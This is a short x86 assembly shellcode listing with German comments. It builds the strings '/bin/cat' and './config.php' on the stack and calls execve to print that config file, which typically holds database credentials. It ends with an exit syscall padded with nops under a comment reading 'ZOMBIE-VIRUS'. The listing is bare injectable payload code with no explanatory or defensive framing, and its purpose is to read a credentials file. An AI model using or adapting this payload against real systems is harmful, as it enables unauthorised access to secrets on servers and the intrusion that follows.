BITS 32 section .text global _start _start: xor eax, eax ; eax = 0 push eax ; Null-Word zum Ende des Strings push 0x7461632f ; STRING: tac/ push 0x6e69622f ; STRING: nib/ mov ebx, esp ; POINTER auf /bin/cat in EBX push eax ; Null-Word zum Ende des Strings push 0x7068702e ; STRING: php. push 0x6769666e ; STRING: gifn push 0x6f632f2e ; STRING: oc/. mov ecx, esp ; POINTER auf ./config.php in ECX push eax ; NULL als Teil der Argv-Liste push ecx ; "./config.php" als Teil der Argv-Liste push ebx ; FILENAME = "/bin/cat" mov ecx, esp ; POINTER auf ARGV[] in ECX mov byte al, 0xb ; SYSCALL 11 = EXECVE int 0x80 ; execve("/bin/cat/", [ "/bin/cat", "./config.php", NULL ], NULL); ; ZOMBIE-VIRUS mov BYTE al, 0x1 nop nop nop nop nop nop nop nop int 0x80